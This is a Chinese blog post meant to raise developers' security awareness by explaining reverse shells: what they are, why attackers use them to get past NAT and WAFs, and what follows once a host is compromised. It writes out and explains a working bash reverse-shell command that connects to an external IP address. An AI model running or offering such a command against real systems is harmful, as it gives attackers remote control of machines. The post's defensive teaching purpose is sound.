大家一起学安全之反弹shell

最近在工作中发现,一线研发类的同学对基本的安全的知识缺乏必要的了解,进而产生出这样的一些想法(纯属想象。。。):
在这里插入图片描述

  1. 你看我的密码zhangsan!@#123, 密码字母,数字,特殊字符都有了,别人肯定猜不到…
  2. 天啊,密码要三个月必须改一次,是不是吃饱了没事干…
  3. 安全又搞事情了,这也不能访问,那也需要认证,心里默默飘过了一万个草泥马…
  4. 每次访问数据库,流程一大堆,我自己写个PHP后门挂上去,可以随时访问,方便多了…
  5. 数据都加密了,我还怎么愉快的抓包定位问题? 又是一万个草泥马…
  6. 这台机器反正外网访问不到,我可以为所欲为了,各种软件装起来…
  7. 这个工程的代码写的太优雅了,感觉也不太重要,放我自己github上吧…
  8. 卧槽,安全的产品这么贵,还就这么点功能,好像也用不着,能省就省点吧…
  9. 公司这几个安全人员平时看着事也不多,这次裁员要不就先拿他们开刀…

“未知攻,焉知防”, 后续准备通过一系列小的分享文章,以此来增强大家在安全方面的基本认知和日常工作中的安全意识,今天我们就从反弹shell说起。

什么是反弹shell

怎么获取到shell呢?比如,我们通过ssh访问机房的一台服务器(chicken),然后有一个shell命令行的方式来操作这台服务器,那么就可以说我们拿到了chicken的shell。除了ssh之外,我们还可以通过telnet,vnc来达到一个远程登陆的效果。

透过现象看本质,Hacker想要控制chicken,二者之间必须有一个数据传输的通道(TCP/UDP)。ssh是chicken启动一个ssh Server,Hacker来连接。当然,我们也可以开发一个叫TMD Server服务,可以将hacker发上来的文本当做一个CMD执行,那么也就认为TMDServer具备远程登陆的功能。

总而言之,上述shell通道的建立,都是hacker主动连接chicken,那么如果chicken主要连接hacker实现的shell执行通道,就叫反弹shell
在这里插入图片描述

为什么要反弹shell

为什么要用反弹shell呢,简单来说就是正向不好搞,所以要反向搞。比如,hacker通过九牛二虎之力,在chicken上上传了一个小马。后面的情况可能是:
chichen在局域网中,没有外网地址,我连不上;
chicken有外网地址,但是经常变,我不能持续的控制它;
chicken前面有waf部署,对进来的request请求做了过滤,很难绕过;
那么我可以通过在hacker机器上启动一个tcpserver,让chicken主动来连接我,由此建立一个数据通道来执行shell。
在这里插入图片描述
借用一图说明下(侵删)

示例

ttygif ttyrecord
hacker(外网地址为39.98.87.76)上执行:
在这里插入图片描述

chicken行执行
在这里插入图片描述

然后此时在看hacker机器上的显示,已经成功拿到chicken的shell,可以在chicken上为所欲为了。
在这里插入图片描述

先详细解释下chicken上执行命令的含义,这条命令就可以叫做一条反弹shell。现在详细解释下这条命令的含义:

bash -i >& /dev/tcp/39.98.87.76/4100 0>&1
bash -i 表示启动一个交互式的shell;
>& 这个交互式shell的标准输出和标准错误输出,重定向到这socket上/dev/tcp/39.98.87.76/4100,也即发送到/dev/tcp/39.98.87.76/4100远端;
0>&1 标准输入重定向到标准输出上;

简而言之,就是启动一个交互式shell,这个交互式shell的输入来自hacker,输出也输出也到hacker上。
在这里插入图片描述

反弹shell的姿势

通过bash -i的是最简单的但也同时是最容易被识别的反弹shell,在没有任何防护的小chicken上执行是没有问题的。

但如果此时chicken有一定的防护能力,比如前面有个waf或者机器装有入侵检测系统,容易就被识别出来被拦截。

但对于一个有经验的hacker来讲,熟练运用各种撩人姿势是必备技能,举例说明:
在这里插入图片描述

尤其msf自动生成的一些webshell,即便是装配了一些大厂的入侵检测系统,也很难直接识别出来。

后续操作

chicken被拿到shell后,那么就可以通过chicken来探测跟它在同一网段上的其他机器,他们都部署了什么服务,这些服务是否存在已知的可利用的漏洞等等。或者种上点蠕虫病毒,让其在内网中传播,一只小chicken被感染了,一群chicken可能都会被攻陷下来。

总结

由此分析,我觉得至少改变几个初级的安全认知:
内网的机器并不绝对安全的,一样可以被拿到shell。
做网络隔离,哪怕是内网中的网络安全域,是有用的,不是闲的没事干的操作。
waf和入侵检测能够较大的提升攻击门槛。

欢迎关注公众号【玩物得志技术】更多干货分享
在这里插入图片描述

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值